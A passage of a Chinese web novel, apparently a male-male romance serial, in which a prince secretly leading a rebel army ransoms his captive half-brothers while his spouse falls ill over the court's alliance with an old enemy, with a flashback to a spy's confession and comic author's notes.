“老四!!宁蔚!!”他咬牙切齿,脸上筋肉滚动,“我跟你们没完!!!” 顾望笙满脸心疼地看着他,拱火道:“你怎么瘦这么多了?他们不给你饭吃吗?” 可不就是不给饭吃吗?!可是理智碍于秦青大魔头还在,顾裕珩只能忍住猝然遭受这关怀而涌上的委屈的泪,哽咽道:“别说了……都是老四的错。我是饿得头昏眼花的错怪你了,你别怪我。” “怎么会怪你,都是老四的错,焉知他是否还故意在从中挑拨,让你那样误会我,他可真是坏透了。” 顾望笙说完,扭头天真无邪、无知者无畏地冲大魔头嚷嚷,“你们也很坏,给了你们那么多好东西,连口饭也不让人吃饱,你们做人不行!” 顾裕珩急忙拉他:“说什么呢你!快住口!等下打你还连上我一起……秦、秦将军见谅,他自小流落在外,当了许多年的乡野猎户,我父皇常说他没教养,您别跟他一般见识!” 秦将军冷冷道:“好,他没教养,我不跟他一般计较,你有教养,我跟你计较。就给你这次机会,若他还管不好他的嘴……” 顾裕珩忙捂住顾望笙的嘴,给他警告的眼神,一面对秦大魔头点头哈腰地连连道:“我知道我知道,一定一定,谢谢谢谢……” 作者有话要说: 谢善淩:当着人家老相好的面说他,那老相好能不生气吗[吃瓜] 顾望笙:不,宋淮安只是很纯粹地想找借口打顾裕珩。 宋淮安:我都闻到醋味了你没闻到?而且我什么时候成你老相好了[问号] 冷酷秦青:我们夫妻之间的事你别管。 宋淮安:拿我当你们play的时候怎么没跟我分这么清?可真有意思嗷[白眼] 第72章 ◎大皇子当匪军这件事可比谢思玄里通匪军这事更……◎ 顾望笙离间完老三和老四, 演得差不多了,扮成秦青的宋淮安就假装不耐烦拽他走。 顾裕珩有些不舍地下意识想要拉扯,可秦青一瞪他,他立刻警醒, 只能含泪看着, 然后低头看看纸笔, 不知这家书还要不要写…… 写吧写吧,多写点总之不会错!他想来想去得出如此结论。 顾望笙和宋淮安一路走到住着江锐的小院, 门口的守卫小兵说谢善淩还在屋里和他说话。 宋淮安颔首,摆了摆手, 小兵便先行退下,只留两人在这。 两人就站在这聊了一会儿。顾望笙离开太久, 无论是义军之中还是京城之中,彼此都有太多要互换交流的信息。 说了会儿公事,宋淮安看了眼屋子方向, 又来看顾望笙,笑了笑。 顾望笙此刻又是秦青的样子,神色稳重而淡漠。 宋淮安逗他:“撒个娇啊, 就像先前在谢公子面前一样。噗!” 顾望笙依旧沉稳如山, 双手抱胸,转头看着远处窗户里绰约的人影不语。 “快点,就……嗯,”宋淮安夹起嗓子,“‘求你’~‘求你求你’~‘你答应我要改的’~‘谢善淩’~‘你如今变了’~他原本究竟是什么样啊我好好奇啊。还有,‘秦青是不干那档子事’的~哪档子事啊啧啧……” 顾望笙冷酷地将头转回来瞥他一眼:“你无不无聊。” “哟, 我说的可都是你说过的。”宋淮安狭长的狐狸眼中全是戏谑, “当初我让你去京城劝临江仙, 你还不乐意。现在算怎么回事?我一听你直接和谢善淩成亲了我都惊讶了,你那未婚妻不要了是吗?” 京城离这边遥远,平日来往传信自然只说紧要的事,私下里的调侃便留到了这时候面对面地说。 关于秦青的未婚妻,宋淮安早有耳闻。 秦青高大俊美,身手不凡,虽沉默寡言却更显得可靠,对他有意的人不乏男女,秦青一概不沾,只表示自己对未婚妻一心一意。 有时他会和宋淮安一同找清闲坐会儿,宋淮安会小酌一番,秦青不爱喝酒,多数时候只是静静地望着某处发呆,听着宋淮安说,但有时也会接话,有时也会用酒过过嘴。 别人问起他未婚妻的事,他是不说的,不过这种时候,若他沾了一点酒,宋淮安又说到了这里,他也不是醉了,只是自己也不知怎的,偶尔也会想回应几句。 但即便他愿意说,能说的也很有限,所以宋淮安知道的也很有限,就知道未婚妻名门贵户千娇万宠,很温柔漂亮,知书达理,善良,会说一点无伤大雅的小谎…… 嗯?知书达理的善良温柔的名门贵户为什么会说一点无伤大雅的小谎?什么小谎? 秦青却不肯细说,只是神色黯然地默默多喝两杯,搞得宋淮安一度不敢再提这事儿,因为怕那未婚妻的无伤大雅的小谎其实很伤大雅,譬如脚踩两条船什么的。 如今看秦青和谢善淩恩爱到性情都变了,不像是单纯地为了拉拢临江仙而牺牲自我,想来对未婚妻的事儿该释然了,宋淮安这才一说。 顾望笙想了想,淡淡道:“我未婚妻就是谢善淩。” 宋淮安:“啊?” 顾望笙:“嗯。” 宋淮安看他神色不像是在胡说,知这其中定有缘由。 但毕竟是很多年前的事了,也没什么好问的,说不定是两边父母指腹为婚的时候太理所当然了。 便没有问那旧事,只是感慨:“若是这样,那可真是冥冥之中的缘分了。怪不得你从前就对谢善淩很上心,特意叫人打听他的事迹,可真让你去京城接触他你又莫名有些别扭,还以为是不想去见你那亲爹呢。” 顾望笙没说话。 宋淮安想了又想,收起了戏谑的神情,认真地说:“这样也好。看来你与他恩爱也是真的,不是装的。你真能幸福我也为你高兴。” “多谢。”顾望笙道。 刚说到这,两人几乎同时敏锐地看向院中。 适才谢善淩从窗口看见了他俩,便打开了房门,拉着江锐朝他们走来。 江锐还有些别扭,看向两人的眼神十分警惕。 走近后,他朝着笑面虎似的看自己的宋淮安狠狠翻个白眼,然后多看了几下旁边的年轻男人。 没见过,仪表不俗,但既然出现在这里,还和宋贼首模样亲近,那必然也不是好人! 宋淮安笑着问谢善淩:“你介绍还是我介绍?” 谢善淩也笑了:“我吧。”他坦坦荡荡地朝好友介绍顾望笙道,“这位是大皇子顾裕帧,先前在浔阳城你们还没机会见过面。” 江锐一怔,正要开口,谢善淩已经继续说了下去:“他还有另一个身份,白龙义军的秦青。” “……” 江锐两眼发直地看着里通匪军的大皇子……不,大皇子不是里通匪军,大皇子就是匪军…… 三人都静静地等着他接受这件事。 江锐无法接受……良久,他身子晃了两下,颤抖着抓住谢善淩的胳膊:“谢思玄你扶扶我,我好像中暑热了,又或者那姓宋的贼首给我下了药……” 姓宋的贼首:“碰瓷都没你这么碰的。” 江锐不管他,被谢善淩扶着,继续直愣愣地盯着顾望笙:“你……你你你真是……” 顾望笙沉稳地点头。 江锐脚下突然一个趔趄就要栽倒在地,谢善淩虽然扶着他,反被他拖着往地上去,好在宋淮安离得近,眼疾手快地拉起江锐:“让你别绝食了,腿软了吧?” “我腿软是因为——!”江锐停了一下,怒目而视,“你才腿软!我刚刚只是太过震惊!” 说话间已经不软了,扭头朝向顾望笙悲愤质问:“大皇子您怎能当匪军呢?!” 大皇子一脸冷酷:“昏君佞臣,人人得而诛之。” 江锐又想要晕倒了,晕倒了就不用面对如此惊世骇俗的事了!大皇子当匪军这件事可比谢思玄里通匪军这事更…… 等等。谢思玄,大皇子…… 虽然不想承认,但确实先前在浔阳无事时接到过陈贤直来信,说这二人成亲的事。 江锐又要晕了。他已经呼吸有些困难了。 他眼冒金星地将目光在大皇子和谢思玄之间反复逡巡,最终呜呼一声,掩面泣道:“贤直兄啊……” 顾望笙冷酷提醒:“陈贤直不在。” 谢善淩看透一切:“不,他和陈贤直真的在背后说过我的坏话。” “说了没。”江锐否认。但紧接着他就说:“不过今后会开始了。” * 谢善淩在,看他架势是要带着江锐四处走动,宋淮安一句没多问多说,只当自然。谢善淩也没特意征询他的意见。如此反而彼此之间无形无言中亲信许多。 宋淮安领着两人在黔阳城内四处游看,自然不是单纯地招待,而是有心让他们看看被义军占领统治这段时日的黔阳城如何井井有条,并不像外界污蔑渲染的那般恐怖。 朝廷一向宣传起义军是匪军,全都是生吃人肉啃人骨、烧杀抢掠无恶不作的杀人恶魔,就差说贼首秦青是青面獠牙的妖怪了,哦,不对,还真说过,因为秦青总戴着面具示人,不过太荒谬,说得比较少。 “不过有一说一,确实有一些流窜的山匪势力穷凶极恶,伺机作乱贪图一时私利,爽快一天算一天。”宋淮安边走边说,“但我们和他们不一样,我们一开始就冲着改朝换代去的,自然不会胡来,凡事都比照着正规正经的来。” “还真是大言不惭啊。”江锐不屑地冷哼了一声,但视线忍不住继续逐一扫过路边路上热热闹闹小商贩与客人等。 那些百姓看起来毫不局促,也没有被匪军攻占城池后理应有的慌怕,依旧安居乐业。 ……不。 曾经黔阳城还没被匪军攻占,江锐来过这里出公差,见到当地百姓的面貌其实不如现在,多是面黄肌瘦中带着愁容。 黔阳城周围一直有不少匪军,城中自然重兵布防,当时大小匪军势力不敢轻易攻打,城中百姓并未受匪军什么害,反倒是吃尽了官员以匪军作为借口大肆逼迫苛捐杂税的苦。 谢善淩看着眼前的一幕幕,心中也自有一番感想。 京城是天子脚下,自然从来都是繁华的,百姓也都是一副其乐融融模样,可他以前也去过一些地方,见识过各地疾苦。 在如今的大梁,很难见到下层百姓如此积极健康的面貌。 宋淮安不动声色地注意着两人的神色变化,笑了笑,道:“先吃过午饭,午后去驻兵营看看。” 四人就近找了间不大不小的饭馆,正是用餐的时候,店内几乎座无虚席,颇为热闹。 点过菜后,宋淮安笑着聊起来:“说起来不怕你们见笑,比起行兵打仗,我还是更爱、也更擅长货殖农商之术。” 谢善淩点头:“民乃国之基石,基石不稳则必动摇,民生民计是大事,宋兄若致力于此,所造福泽不能言计。” 江锐嘀咕:“话说得好听罢了……说不定其实都是演出来的呢。” 宋淮安忧愁看他:“泊润对我们的偏见真的很深啊。” “不要试图和我套近乎,请称呼我为江大人,我江某依然是大梁朝的官员。”江锐昂着头,绷着脸道。 宋淮安没接这话,看向谢善淩,话锋一转,尊敬且恳切道:“当日王尨一事激怒了你,秦青说已向你解释了,不过其实你若说都是辩解我们也无从再辩。但此事我们确实已经再□□省议论,逐步明确军纪,秦青说你想出了许多教化管理的法子,只是先前中间传话不易,这回才冒险接你亲自过来说,只望那事能成为后事之师,我们不会再陷入同样的困局。” 谢善淩点了点头。 江锐不知他俩说的什么事,好奇想问,却又碍于贼首在这,不想显出自己对他们这些大逆不道造反的事感兴趣。 第73章 ◎匪军不单卖。◎ 吃过午饭, 四人去驻兵营看了一圈,营中四处可见明显纪律管教的痕迹,自不必说是与其他流民起义军相比,便是和朝廷的正规军相比也能说道一二, 颇有章法。 傍晚时回到住处, 谢善淩说有话再和江锐说说, 顾望笙和宋淮安便先行离去。 江锐扭开头不看谢善淩,闷声道:“若是又想劝说我, 你就免开尊口。” 谢善淩却道:“不是为这个,只是中午见你好奇宋兄所说那事, 现在和你说说。” “哦。你说,我权且听听, 不过若来日被我当成把柄,你可别后悔。”江锐梗着脖子说。 谢善淩便将王尨一事前后说出,包括自己为这事和义军闹翻, 也包括顾望笙是为这事回到阔别多年的京城找自己,也包括顾望笙劝说自己时说过的许多话。 江锐听完,一时间有许多想说的话, 却不知该说哪个, 皱着眉头不语。 谢善淩长叹一声:“泊润,你我挚交一场,我自然希望你与我走同一条道,可原本若你坚持效忠大梁,是你的道义,我不会逼迫你, 这是你的选择。将你假死脱身送来这里, 主要是为了保你的性命, 不希望你为了那些人的无耻私利而遭遇不测。” “你若坚持不肯帮义军,宋淮安不会对你如何,待风头过去,我会想办法将你父母也脱身送来,与你一家团聚。好过你真的离世,从此再无可能侍奉他二人终老。” 谢善淩说得很缓慢、很真挚,江锐越发无言,与他两两想看,良久,道:“我知你好意,否则早就不和你说话了。” 谢善淩笑道:“我知道,今日中午你还给我面子吃了点东西。” 江锐白他一眼,又过了一会儿,也长叹一声气,道:“你我幼受庭训,头一条就是教我们忠君爱国……” 谢善淩摇了摇头:“你我读书明理、出仕为官,应该是为荫蔽天下苍生,而非一家私姓。若君是明君,河清海晏,你我自当忠君爱国,可若是昏君,朝纲败坏,贪官污吏横行,民不聊生,你我却仍迂腐于所谓忠君爱国,何尝不是助纣为虐?” “……此事,贤直兄知道吗?”江锐问。 谢善淩又摇头:“我还未有合适机会告诉他。你这是因为事发紧急,不得已为之,否则我也只会循序渐进,伺机再说。” 江锐沉思一阵,低低道:“你让我再自己想想吧。我这一时还是……” 谢善淩轻轻地拍了拍他的手背安抚:“不急。” “我父母那边……” “他们什么也不知道,那些人倒也犯不着对你家人都赶尽杀绝,反而容易给自己留下把柄。何况宋淮安一直安排了人暗中留心,你不必担忧。”谢善淩道。 江锐沉重地点了点头:“我不惧死,只是希望他们能安享晚年。” “天下子女谁不这样期盼?”谢善淩淡道,“可是多少无辜家人因昏君酷吏作恶之人而生离死别?” 江锐想起谢善淩告诉自己的宋淮安身世,他自己以往也并非浑然未曾见过类似的冤事,不由得又叹起气来。 * 谢善淩离开江锐的小院,见到顾望笙在院门外墙角站着等自己,走过去,不等他开口,顾望笙主动说明:“宋淮安有事先走了,我等你。” “我又没问你,秦青不是话很少吗?”谢善淩问。 顾望笙其实自己也不知怎么的,对着谢善淩总会有说不完的话,其中许多都是说亦可不说亦可、或者索性不说更好的废话车轱辘话。但就是忍不住。 然而秦青冷酷不爱解释,更不爱顺势撒娇,他便没接这话茬,只是问还想不想去哪逛逛。 “逛一天了,早点歇吧。”谢善淩说。 顾望笙点头,看向远处站着的小兵。小兵得令立刻过来守在江锐的院门口。 如今还是怕江锐想不开偷跑,得继续盯着。 谢善淩和顾望笙回去自己住的小院,其实就和江锐一墙之隔。进屋后,冷酷的男人就默默抱住了谢善淩。 谢善淩冷笑:“有种继续冷酷。” 顾望笙讪讪接话:“你我的情况,我有没有种也没用了……” 谢善淩使劲拍掉他摸自己肚子的坏手。坏手不敢摸了,但立刻抱了回来,还抱得更紧,生怕真被甩开。 “你说不嫌弃秦青的。”顾望笙小声委婉抱怨他的言而无信。 谢善淩见招拆招:“没嫌弃秦青,纯属嫌弃你。” 顾望笙更委屈了:“小未婚夫你心疼得很,秦青你不嫌弃,敢情就看我不顺眼呗。” 谢善淩沉默起来,顾望笙在沉默中化为巨蟒,越缠越紧,谢善淩在被缠得喘不过气来的前一刻不得不自救出声:“我跟他俩又不熟,跟你才熟,自然埋汰你。” 顾望笙要如何哄,谢善淩自信没人比自己更懂。 果然,顾望笙一下子就高兴了。 虽然这人根本就是在做自己和自己争风吃醋的傻事。不过……真的是相当可爱。谢善淩忍不住抬手摸摸搁自己肩头撒娇蹭蹭的脑袋。 “再没人比你会哄人了。”顾望笙一边被顺毛哄得舒服,一边还要斤斤计较一下,“顾裕泽宁蔚都被你哄得服服帖帖,啧啧。” 抚摸着这颗脑袋的手摸索着揪住了耳朵。 顾望笙立刻老实了,小狗似的呜呜求饶卖乖。 * 接下来十来日,谢善淩带着江锐到处溜达,有时是顾望笙跟着,有时是宋淮安陪着。 谢善淩会认真地询问一些细节,也会提出自己的想法和建议。他还每每都要过问江锐的想法。 江锐十分痛苦:“说了不要问我……既然要关着我,何必还非把我拉出来和你们一起……我不想知道你们那些事……” 私下里顾望笙就调侃谢善淩:“你们不愧是好友啊,起初你拒绝承认自己是临江仙、而且也不肯再出山的时候,就和他一个样儿。” 谢善淩平静如水:“我现在也没承认我是临江仙,都说了不是我,可能就是江泊润,不然你去劝劝他吧,说不定他就趁乱承认了。” 顾望笙只好道:“给我尝尝。” 谢善淩一时没反应过来:“什么?” “你的硬嘴。”顾望笙说完,就伺机亲嘴。 谢善淩等他尝完一阵,冷笑道:“如你所说,江泊润的嘴也很硬,你……” 见这张嘴还是很硬,顾望笙继续尝。不过试验证明,这张嘴只在说话的时候硬,尝的时候是特别软的。 * 然而十数日后,一个噩耗传来——二皇子顾裕骐,活着回到了京城。 这对于白龙义军而言确实是个噩耗。顾裕骐聪明有心机,心狠,且道不同,谁也不想拥有这样的敌人。 但是对于谢善淩而言,比起顾裕骐活着返京一事,同时传来的另一个消息更令他惊诧与心绪复杂难平。 ——顾裕骐不仅回去了,还带回去了和豲戎的结盟。 当然,这件事对于顾望笙和宋淮安而言也很不妙。大梁和豲戎在此时结盟,要对付的敌人显而易见就是声势浩大、几乎已经满占了南边的起义军。 “豲戎狼子野心且狡诈多端,大梁指望借由他们来攻打义军,一定是许下了丰厚的条件。我恐怕不止是钱财那么简单。”宋淮安说道。 顾望笙平静道:“宁与外敌世仇,也不与家奴,这样罢了。” 他看一眼一直没说话、神情恹恹的谢善淩,道:“我想我和善淩要提前回去,才好一探究竟,早做打算,早有预备。” 却不这么轻易回去,还得再捞两笔。 宋淮安让人送信给菅贵妃,语气和缓许多,发誓这回是真收钱放人。 随赠顾裕珩亲笔书信一封。 顾裕珩生怕魔头反悔,积极配合,魔头怎么教他他怎么写,在信中分析得头头是道,说秦青他们不知老二的真实地位,只知道老二活着回去了,吓得够呛! 他们担心自己这个老三就会沦为弃子再无用处,那不如索性再捞一笔就把人放回去,还能和老二争争抢抢,给朝廷添点内乱。 ——其实写着写着,顾裕珩自己也很恐怕若再不回去,父皇和母妃真的从此放弃自己、改而扶持那个狗屎运的老二! 菅贵妃看完信仔细一想,颇能理解匪军的心情……当然了,匪军活该。 但无论如何,她还是希望宝贝小儿子早日归来,当即去皇帝面前又哭又闹又是提及旧日一家三口的天伦温情。 皇帝近日和豲戎结盟,商讨一同剿匪的大计顺利,心情不错,也就挥挥手让她去赎了。 只是有言在先,最后一次。若匪军这次只是诓他们,收了钱还不放人,那从此之后就当没生过老三了,仁至义尽了。 这话听在菅贵妃的耳中,结合小儿子在信中的分析,她越发深信不疑,觉得是顾裕骐的活着回来抢走了原本该完全属于顾裕珩的来自皇帝的父爱。 虽然皇帝从前也不待见顾裕骐这个不男不女的怪物,可这怪物假死过一回,死而复生,也许皇帝心中因此生出慈父心怀——由此可见,说不定当初假死就是顾裕骐故意设计的! 但这都只能暂搁,当务之急是赎人。 菅贵妃还不能只赎一个人,匪军给的是两个皇子的价格,还故作大方说谢善淩不是皇子不算钱,算白送。 “……” 非要说起来,她觉得顾裕帧不如谢善淩值钱……当然了,若让她为谢善淩出钱她也是不愿意的,更何况顾裕帧根本不值钱!顾裕帧凭什么和顾裕珩一个价钱?! 菅贵妃才不想白费这钱,然而一则是皇帝看着,更重要的是那伙匪徒说了,要么一起赎,若只给一个的钱,那就一个都别想要回去。 这也太无耻了! 另一边,宋淮安还叫人去给四皇子顾裕泽送信,让他出钱赎谢善淩。 一说到钱财,宋淮安可有使不完的劲儿、想不完的蔫坏招儿。 他生怕顾裕泽抠门按下此事不肯给,将这消息大张旗鼓地传给谢家,让满京城都知道。 ——消息里指明,不管顾裕泽从哪弄钱,总之这钱得由顾裕泽手中交易。 这就是将顾裕泽架上去了。 谢家救人心切,谢大伯谢二伯亲自写信,由谢善鸣带去面交顾裕泽,表示愿意由谢家承担这笔赎身钱,将钱转交顾裕泽给绑匪、呃,匪军。 然而顾裕泽又怎么能真收?无论是出于真心还是假意,无论他原本打不打算出这笔钱,被谢家这么一架,他也只能说自己会出这笔钱。 但他只赎谢善淩一个不行,匪军不单卖。 匪军说了,谢善淩和大皇子是夫妻,瞅着两人恩爱非常,自己不愿当棒打鸳鸯的恶人,所以要赎一起赎,若只给一个的钱,那就一个也不放。 顾裕泽:“……” 作者有话要说: 宋淮安:搞钱不寒碜哈,卖兄弟的钱真香,一弟多卖,多卖多得[点赞] 第74章 ◎“我们离开京城吧,也不回王城。”将灵轻声缱绻◎ 谢善淩昏昏沉沉间仿佛听到顾望笙小声叫了自己几声, 他理应应答,却又有股厌倦嫌恶之感。不是厌倦嫌恶顾望笙,而是对这世间一切都不想回应。 他闭着眼睛继续睡,不多久, 被人从被子里半刨出来抱在怀里。 “吃点儿东西好不好?”顾望笙一边贴上额头一边柔声询问。 他知道谢善淩醒了, 微微颤抖的眼皮和有点紊乱的呼吸泄露了这一点秘密。 谢善淩仍旧装睡。顾望笙便抱着他耐心地哄了又哄, 哄小孩儿似的,还轻轻拍他的背。 如今他们已经离开黔阳, 正在返回京城的途中。好在走的水路,谢善淩病着也能舒服一点。 ——上路不久, 谢善淩就急病倒了。 起初高烧滚烫,顾裕珩嘀咕不会是时疫吧, 顾望笙把他扔水里的心都有了。 好在顾裕珩当时刚逃出生天还算识趣,读人脸色的水平磨炼得极高,见顾望笙不悦, 立刻就话锋一转假装关心地说得赶紧找个大夫瞧瞧,顾望笙才不和他计较。 停靠岸边找了当地的名医瞧,幸而不是时疫, 就是普通的发烧。 饶是如此也折腾了个够呛, 好不容易退了烧又开始不理人,懒洋洋的不想吃饭也不想起来,不想说话,什么都不想干,整日闭眼躺着。 顾望笙瞅着他这像是那病又发作了,又停岸找大夫, 细细地望闻问切了一番, 大夫说应该确实是又发病了。 也没别的法子, 只能开了一路的药,每日哄着喂着。 平时谢善淩最懂事贴心,看不得身边的人为自己担忧,可一旦发起病来就有股谁都要抛弃而去的狠心。顾望笙每次哄到没法子了都发起火来,谢善淩依旧不肯吃药。 念及当初佘郡主和谢大伯逼迫谢善淩吃药时的场面,虽然此药非彼药,顾望笙依旧舍不得强灌,只能没了脾气继续哄,这样子反复下来,谢善淩才肯勉强吃一点点。 “这才多久,你瘦了好多你都不知道。眼看就快到京城了,你家里人肯定都等得心焦,头一个来码头接我们,到时你这副模样让他们瞧见,不是叫他们心疼难过吗?” 顾望笙慢慢地、小声地跟他讲情讲理。 “我知你是为了和豲戎结盟的事难过,没事的,我们会把他们拆散的,啊。” 谢善淩依旧恹恹的,只是眼角悄然湿润了。 他又钻入了牛角尖里。大梁和豲戎结盟一事令他胡思乱想了很多,无法接受。 虽然顾望笙自己没觉得怎么,但在他看来,谢善淩无法接受是完全可以理解的。 大梁与豲戎是世仇,谢善淩自小便立志要铲除豲戎,后来更是践行幼时的志向,以身做饵大挫豲戎的元气。 谢善淩不以此居功自傲,但确实也是在潘家一事后暗暗拿这件事当作勉力支撑自己的自我安慰的方法。 然而如今为了对付起义军,皇帝竟忘却了和豲戎的血海深仇,选择了结盟。 那亲手杀掉了将灵的自己算什么?笑话吗?谢善淩明知自己不该这样想,却控制不住。 ……将灵。 其实…… 谢善淩对所有人都表现出自己对将灵从一开始便是利用和欺骗,似乎所有人都对此深信不疑。也没有人怀疑过谢善淩诛杀将灵的完全的决心。 然而……然而,最开始的时候,谢善淩是真把化名江凌的将灵视作挚友。 那时他还未通过恩科结识陈贤直和江泊润,而即便是后来,与这两位好友的感情其实也没有少年时与江凌初相识的热烈。 江凌刻意逢迎,自然是哪里都投谢善淩的契,与他知无不言言无不尽,常常金樽对月,把酒言欢。谢善淩正当热血之年,踌躇满志,能一天一夜不眠不休地畅谈自己对于浩瀚宇宙的一切想法。而将灵全都能接上。 就连谢善淩说起对豲戎的深切仇恨,将灵也表现出了真挚的同仇敌忾。 谢善淩曾激动又天真地和母亲说自己像是找到了失散多年的双生兄弟,不仅名字有缘,还哪哪儿都像一个模子里出来的。为此被母亲笑了很久。 他还将自幼丧母的江凌带回谢家,想让母亲认他做义子。 母亲一贯随和,待江凌也亲切,却还是婉拒了。没什么理由。他杀了江凌后曾问母亲是否早就察觉了异样,母亲说诚然不知,只是本能的没喜欢江凌到愿意收他做义子的地步。 即便如此那样,谢善淩在察觉了江凌的真实身份和目的后,仅仅难过了很短的时间便下定决心铲除他与豲戎的苦心经营。 许久许久之后,尽管谢善淩努力避免,难免还是会想起那段时光。尤其是在他辞官发病的那段时日,他怀恨世间,对大梁失望透顶,莫名频繁回想起这件事。他常在午夜梦回时猛坐起身,昏暗中恍惚出神,反复质疑在自己与江凌虚与委蛇的许多个瞬间里是否真的狠心到一丝动摇与恻隐都不曾有过。 当时是绝不怀疑的。当时谢善淩干净利落地将豲戎苦心谋划多年安插在京城的数百个暗桩连根拔起后,江凌终于发现了源头在哪,发现谢善淩早就知道了真相,并反过来哄骗自己,毁掉了自己的大计。 谢善淩原以为到这一步终于要和江凌彻底撕破脸,脸红脖子粗地大吵一架大打一场,甚至江凌会下杀手。 然而江凌没有这么做。摊牌的那一夜,两人各自内心不提,面上都格外冷静。江凌用两人惯常的方式约他出去,坐在两人常去的楼阁顶上眺望着百家灯火喝酒,甚至还和往日一般边喝边聊天。 不过这次聊的是江凌,不,应该说是将灵的自幼平生。 大梁仇视豲戎顺理成章,因为豲戎无理屡犯江山、烧杀抢掠大梁的百姓。豲戎却有自成一派的道理,认为豲戎人不幸生活在贫瘠之地,只能那样做,这不是他们的错。 “我当然知道那是不对的。”将灵轻笑一声,“但我生来就是豲戎人,站在我的立场,其实好像我认为豲戎不对这才是不对的。” “父王有很多姬妾,他并不很爱我的母亲,但很敬重她,而且宠爱我。你应当知道豲戎的风俗,我母亲是他的长嫂,照料他长大,后来我伯父死了,父王业已长大,便娶了我母亲。母亲生我不易,难产而亡,我是唯一被父王带在身边亲自养大的孩子,也是他最优秀的儿子,他对我寄予重望。” “我长得像中原人,父王曾抹去我的身份将我送入离豲戎王城很近的一处中原城池,入学堂接受中原文化的启蒙与教化。” “彼时年幼,我还不太会隐藏,许多豲戎的习性暴露出来,甚至急起来脱口而出豲戎话,被识破了身份。” “那个地方其实两国人间有些往来交易,已经算是相对融洽的,饶是如此,他们也不许我们豲戎人上他们的学堂,我被中原小孩用棍子石子打了出去。” 说起这件往事之时,将灵的眼中浸满了遗憾与难过,仿佛是这件事不止毁掉了他的童年,更是豲戎这些年来贼心不死蠢蠢欲动的元凶。 谢善淩冷笑一声,拆穿他:“豲戎数百年来不断犯边,与你们相近的哪座城池里没有许多被你们烧杀抢掠家破人亡过的人?他们仇恨豲戎人不是理所应当的吗?更何况,你们学习中原文化不过是为了谋划道路壮大自身的力量,好在将来攻占中原、统治中原。” 将灵与谢善淩四目相对,又笑了笑,说:“你说得一点也没有错。” 说完,仰头将杯中酒一饮而尽,又斟满,垂眸望着微微摇晃的弯月。他看了很久很久,好像从中看到了一个小世界,所以才能看那么久,那么入迷。 良久之后,将灵望着杯中月轻声道:“人性本贪,憎人有,憎己无,好的便想据为己有。豲戎无法不继续觊觎大梁的富饶肥沃。” “所以你今日叫我出来,究竟想说什么?”谢善淩神情冷漠,“事到如今,你我之间便如两国之间无话可说,若要动手就动。” 将灵又看向他:“你以为我要对你动手,那为何还独自前来赴约?还以为你有足够的自信我舍不得下手。” 谢善淩没有回答这个问题,只是微微仰着脸遥望着仿佛伸手便可触及的月亮。 皎洁清冷的月光撒在谢善淩的脸上和身上,他的肌肤像一块莹润的白玉。 将灵看了他很久,忽的伸手,用指背轻轻触摸自己的月亮。 谢善淩一怔,转头看过来。 “两国是两国,我们是我们。”将灵柔声道。 谢善淩眼中凝滞了一会儿,渐渐复杂起来。 “我知道让你放弃对豲戎人的仇恨很难,可若我不再是豲戎人,而你不再是大梁人呢?”将灵的手指沿着谢善淩的脸颊轮廓滑下,落在他的手腕上一把抓住,将他拉到自己怀中。 谢善淩的身体有点僵硬,将灵感受到了,但他想这是很正常的事情。虽然以前两人相处默契,心意相通,言辞举止的往来中早有青涩隐晦的暧昧悄然滋生,可毕竟没点破过这层窗户纸,谢善淩的年纪还很小。 他也曾想过此事,那时他不急,他以为自己掌控着全局游刃有余,便计划再过两年戳破这一层。 可是如今没有时间了。 “我们离开京城吧,也不回王城。”将灵轻声缱绻,“去极北之地的北箩国,或者南下去交趾一带,抑或出海东渡,总之天大地大,总有一个地方没有大梁没有豲戎,也就没有我们不得不面对的身份和立场。从此往后,我们放下所有的前尘旧事,远离是非,做一对不问世事、游历天下的神仙眷侣。” 谢善淩良久不语。将灵很有耐心地等待着,心在这一刻很紧张,很迷茫,却又平静得出奇,也许是因为谢善淩就在自己怀中的缘故。 他杀过许多中原人,而谢善淩间接地杀了许多豲戎探子,大梁和豲戎都不能同时容下他们两个人。只有去到一个谁也不认识他们的地方,隐姓埋名重新开始。 做出这个决定很难,放弃自出生以来的一切很难,甚至在今日赴约前将灵的心还有所摇摆,然而所有的迟疑都在看见谢善淩的一瞬间消失殆尽。 作者有话要说: 抱歉久等了[鸽子][可怜] 下面请听题。谢善淩的故事告诉我们什么? A.直装基,天打雷劈。 B.只要坚持目标不放弃,总有一天能达成。 正确选项:B 题目解析:A,谢善淩没有装基,他就是基,因此本选项错误。B.谢善淩坚持他的交友模式,在经历了被两个偏执型基佬误会并持续x骚扰后,最终还是交到了真正的直男好朋友陈贤直和江泊润。 豲戎王:凭什么A是错的?我就选A,骗子就该被天打雷劈!快点把谢善淩天打雷劈! 将灵:父王不要这么说他,他不是骗子,他答应过我若有下一世我不是豲戎人他就不那么恨我了[爆哭] 谢善淩:没答应过这种事情。 将灵:等我都不是豲戎人了你干嘛还恨我?四舍五入就是这么回事了。宝宝你等等,先别说话,我先糊弄我父王哈[玫瑰] 豲戎王:你出生的时候我怎么不把你阉了[愤怒] 顾裕骐对豲戎王好感-10000 豲戎王:关你屁事啊[愤怒] 第75章 ◎你分明被我迷住了。◎ 顾望笙早就察觉有人停到舱门外, 听步履的轻重缓急像是谢婉柔,但这只是判断,也有不准的时候,他就还是谨慎了言语, 仍旧哄谢善淩吃药进食。 许久才进了一点点, 见实在是再哄不好才不得不作罢, 将人放回被窝里继续自我封闭,走去门外。 还真是谢婉柔。她站在舱门外三步远的地方, 原本垂眸静立,听到声音看来, 认认真真地行礼:“大殿下。” 顾望笙语气柔和:“你堂兄刚进完食又歇下了,你若想看望他可以进去。” 说着侧了侧身示意。 谢婉柔犹豫了一下, 摇了摇头:“既然堂兄在休息,我就不去打扰了。他……” 顾望笙:“还是那样,不理人, 不想起。” 谢婉柔心中愈发愧疚。 堂兄与豲戎的恩怨情仇她自然知晓,何况她也是自幼被教导与豲戎的世仇,如今大梁和豲戎竟结盟, 还是……二皇子力成的此事。 她心中亦是百般滋味。 许久, 谢婉柔忍住了眼中的泪,朝屋内方向看了看,终究没进去,告辞正要走,转身遇上一道返京的陈贤直,也是来探望谢善淩的。 陈贤直没谢婉柔那么讲究, 刚听到了顾望笙的话, 他和谢婉柔相互见过礼, 就径直进去看望了。 “贤兄还真不客气啊。” 顾望笙朝他背影嘀咕,他当没听见,来到床边看着谢善淩直叹气。可算是亲眼见到这人发病时的模样了,也是无奈。 若是心病,不难猜想谢善淩此次发病的缘由。 他也很愤怒于和豲戎的结盟,在他看来起义军究竟还是大梁的百姓,何况是因民不聊生才反叛,实在打不过可以招安,自家人,关起门来解决的事儿,怎么可以引进血海深仇的外敌?!这不是与虎谋皮吗?根本就本末倒置啊! 